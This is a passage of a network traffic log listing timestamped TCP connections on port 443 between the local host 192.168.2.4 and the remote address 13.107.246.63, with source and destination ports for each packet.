Nov 29, 2024 23:11:55.329552889 CET	49893	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.329557896 CET	443	49893	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.331947088 CET	49898	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.331965923 CET	443	49898	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.332031012 CET	49898	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.332145929 CET	49898	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.332154036 CET	443	49898	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.533267021 CET	443	49894	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.534162045 CET	49894	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.534183025 CET	443	49894	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.535036087 CET	49894	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.535042048 CET	443	49894	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.977464914 CET	443	49894	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.977489948 CET	443	49894	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.977524996 CET	443	49894	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.977550983 CET	49894	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.977582932 CET	49894	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.977803946 CET	49894	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.977819920 CET	443	49894	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.977829933 CET	49894	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.977834940 CET	443	49894	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.980567932 CET	49899	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.980618000 CET	443	49899	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:55.980700970 CET	49899	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.980859995 CET	49899	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:55.980875969 CET	443	49899	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.275417089 CET	443	49895	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.277205944 CET	49895	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.277234077 CET	443	49895	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.277669907 CET	49895	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.277674913 CET	443	49895	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.503221989 CET	443	49896	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.503663063 CET	49896	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.503674030 CET	443	49896	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.504219055 CET	49896	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.504224062 CET	443	49896	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.729240894 CET	443	49895	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.732253075 CET	443	49895	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.732316017 CET	49895	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.732347012 CET	49895	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.732362032 CET	443	49895	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.732369900 CET	49895	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.732373953 CET	443	49895	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.734914064 CET	49900	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.734946012 CET	443	49900	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.735045910 CET	49900	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.735198975 CET	49900	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.735210896 CET	443	49900	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.792148113 CET	443	49897	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.792712927 CET	49897	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.792738914 CET	443	49897	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.793194056 CET	49897	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.793199062 CET	443	49897	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.965436935 CET	443	49896	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.968553066 CET	443	49896	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.968730927 CET	49896	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.968730927 CET	49896	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.968730927 CET	49896	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.971437931 CET	49901	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.971470118 CET	443	49901	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:56.971538067 CET	49901	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.971709013 CET	49901	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:56.971724033 CET	443	49901	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.123162985 CET	443	49898	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.123718977 CET	49898	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.123738050 CET	443	49898	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.124124050 CET	49898	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.124128103 CET	443	49898	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.236958981 CET	443	49897	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.240144014 CET	443	49897	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.240226984 CET	49897	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.240331888 CET	49897	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.240356922 CET	443	49897	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.240375996 CET	49897	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.240381002 CET	443	49897	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.242984056 CET	49902	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.243009090 CET	443	49902	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.243098974 CET	49902	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.243232012 CET	49902	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.243243933 CET	443	49902	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.270606995 CET	49896	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.270617008 CET	443	49896	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.566507101 CET	443	49898	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.569505930 CET	443	49898	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.569560051 CET	49898	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.569570065 CET	443	49898	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.569623947 CET	443	49898	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.569669962 CET	49898	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.569891930 CET	49898	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.569900990 CET	443	49898	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.569910049 CET	49898	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.569915056 CET	443	49898	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.575671911 CET	49903	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.575690985 CET	443	49903	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.575743914 CET	49903	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.576215982 CET	49903	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.576227903 CET	443	49903	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.694771051 CET	443	49899	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.695123911 CET	49899	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.695164919 CET	443	49899	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:57.695607901 CET	49899	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:57.695616007 CET	443	49899	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.130625963 CET	443	49899	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.133682013 CET	443	49899	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.133749008 CET	49899	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.133795977 CET	49899	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.133795977 CET	49899	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.133817911 CET	443	49899	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.133830070 CET	443	49899	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.136372089 CET	49904	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.136404991 CET	443	49904	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.136459112 CET	49904	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.136611938 CET	49904	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.136635065 CET	443	49904	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.518935919 CET	443	49900	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.519504070 CET	49900	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.519529104 CET	443	49900	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.520411015 CET	49900	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.520415068 CET	443	49900	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.816519976 CET	443	49901	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.816894054 CET	49901	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.816916943 CET	443	49901	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.817300081 CET	49901	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.817306042 CET	443	49901	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.957159042 CET	443	49902	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.957581043 CET	49902	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.957607031 CET	443	49902	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.958034992 CET	49902	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.958039999 CET	443	49902	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.963078022 CET	443	49900	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.966325045 CET	443	49900	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.966389894 CET	49900	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.966439009 CET	49900	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.966449022 CET	443	49900	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.966456890 CET	49900	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.966460943 CET	443	49900	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.968868017 CET	49905	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.968885899 CET	443	49905	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:58.968981028 CET	49905	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.969095945 CET	49905	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:58.969105005 CET	443	49905	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.279004097 CET	443	49901	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.279086113 CET	443	49901	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.279135942 CET	49901	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.279844046 CET	49901	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.279854059 CET	443	49901	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.279864073 CET	49901	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.279870033 CET	443	49901	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.292104959 CET	49906	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.292159081 CET	443	49906	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.292220116 CET	49906	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.294101000 CET	49906	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.294117928 CET	443	49906	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.303210020 CET	443	49903	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.303632021 CET	49903	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.303647041 CET	443	49903	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.304210901 CET	49903	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.304214954 CET	443	49903	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.394447088 CET	443	49902	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.394489050 CET	443	49902	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.394536972 CET	443	49902	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.394551039 CET	49902	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.394594908 CET	49902	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.396598101 CET	49902	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.396604061 CET	443	49902	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.396617889 CET	49902	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.396621943 CET	443	49902	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.402775049 CET	49907	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.402790070 CET	443	49907	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.402846098 CET	49907	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.406105042 CET	49907	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.406115055 CET	443	49907	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.736924887 CET	443	49903	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.737010956 CET	443	49903	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.737850904 CET	49903	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.738393068 CET	49903	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.738399029 CET	443	49903	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.738409996 CET	49903	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.738413095 CET	443	49903	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.742769957 CET	49908	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.742783070 CET	443	49908	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.742846012 CET	49908	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.742971897 CET	49908	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.742983103 CET	443	49908	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.851716042 CET	443	49904	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.854259014 CET	49904	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.854310989 CET	443	49904	13.107.246.63	192.168.2.4
Nov 29, 2024 23:11:59.867286921 CET	49904	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:11:59.867297888 CET	443	49904	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:00.287729979 CET	443	49904	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:00.290927887 CET	443	49904	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:00.290962934 CET	443	49904	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:00.291033983 CET	49904	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:00.291079998 CET	49904	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:00.291107893 CET	443	49904	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:00.291119099 CET	49904	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:00.291126013 CET	443	49904	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:00.293812990 CET	49909	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:00.293834925 CET	443	49909	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:00.297863007 CET	49909	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:00.298038006 CET	49909	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:00.298048973 CET	443	49909	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:00.750015020 CET	443	49905	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:00.750611067 CET	49905	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:00.750622034 CET	443	49905	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:00.751331091 CET	49905	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:00.751334906 CET	443	49905	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.138636112 CET	443	49906	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.139172077 CET	49906	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.139189005 CET	443	49906	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.139906883 CET	49906	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.139910936 CET	443	49906	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.194397926 CET	443	49905	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.197514057 CET	443	49905	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.197588921 CET	49905	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.197635889 CET	49905	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.197643042 CET	443	49905	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.197659016 CET	49905	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.197663069 CET	443	49905	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.200932026 CET	49910	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.200958967 CET	443	49910	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.201042891 CET	49910	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.201199055 CET	49910	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.201210022 CET	443	49910	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.250679016 CET	443	49907	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.251218081 CET	49907	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.251224041 CET	443	49907	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.251678944 CET	49907	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.251682997 CET	443	49907	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.528358936 CET	443	49908	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.528820038 CET	49908	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.528834105 CET	443	49908	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.529387951 CET	49908	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.529392958 CET	443	49908	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.634044886 CET	443	49906	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.634083033 CET	443	49906	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.634133101 CET	443	49906	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.634138107 CET	49906	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.634179115 CET	49906	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.634367943 CET	49906	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.634387970 CET	443	49906	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.634404898 CET	49906	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.634408951 CET	443	49906	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.636953115 CET	49911	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.636977911 CET	443	49911	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.637053967 CET	49911	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.637203932 CET	49911	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.637216091 CET	443	49911	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.740617037 CET	443	49907	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.740667105 CET	443	49907	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.740712881 CET	49907	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.740849018 CET	49907	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.740858078 CET	443	49907	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.740865946 CET	49907	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.740869999 CET	443	49907	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.742952108 CET	49912	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.742981911 CET	443	49912	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.743053913 CET	49912	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.743185043 CET	49912	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.743201017 CET	443	49912	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.971457958 CET	443	49908	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.974729061 CET	443	49908	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.974850893 CET	49908	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.974865913 CET	443	49908	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.974901915 CET	443	49908	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.974955082 CET	49908	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.976255894 CET	49908	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.976267099 CET	443	49908	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.976279974 CET	49908	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.976284981 CET	443	49908	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.979036093 CET	49913	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.979067087 CET	443	49913	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:01.979167938 CET	49913	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.979336977 CET	49913	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:01.979350090 CET	443	49913	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:02.143258095 CET	443	49909	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:02.143610001 CET	49909	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:02.143624067 CET	443	49909	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:02.144018888 CET	49909	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:02.144022942 CET	443	49909	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:02.633869886 CET	443	49909	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:02.636843920 CET	443	49909	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:02.636894941 CET	49909	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:02.636934996 CET	49909	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:02.636951923 CET	443	49909	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:02.636965036 CET	49909	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:02.636969090 CET	443	49909	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:02.639704943 CET	49914	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:02.639729977 CET	443	49914	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:02.639786959 CET	49914	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:02.639874935 CET	49914	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:02.639887094 CET	443	49914	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.017824888 CET	443	49910	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.018420935 CET	49910	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.018436909 CET	443	49910	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.018841982 CET	49910	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.018847942 CET	443	49910	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.462090015 CET	443	49910	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.465276957 CET	443	49910	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.465318918 CET	443	49910	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.465344906 CET	49910	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.465373039 CET	49910	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.465540886 CET	49910	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.465559006 CET	443	49910	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.465570927 CET	49910	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.465574980 CET	443	49910	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.467750072 CET	49915	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.467791080 CET	443	49915	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.467876911 CET	49915	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.468039036 CET	49915	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.468050957 CET	443	49915	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.473853111 CET	443	49911	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.478107929 CET	49911	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.478136063 CET	443	49911	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.478661060 CET	49911	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.478671074 CET	443	49911	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.542650938 CET	443	49912	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.546201944 CET	49912	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.546215057 CET	443	49912	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.546471119 CET	49912	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.546475887 CET	443	49912	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.865523100 CET	443	49913	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.866008997 CET	49913	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.866022110 CET	443	49913	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.866435051 CET	49913	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.866440058 CET	443	49913	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.929830074 CET	443	49911	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.929898024 CET	443	49911	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.929965019 CET	49911	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.930284977 CET	49911	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.930304050 CET	443	49911	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.930316925 CET	49911	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.930321932 CET	443	49911	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.932657957 CET	49916	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.932698965 CET	443	49916	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:03.932796001 CET	49916	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.932957888 CET	49916	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:03.932976961 CET	443	49916	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.024386883 CET	443	49912	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.024518967 CET	443	49912	13.107.246.63	192.168.2.4
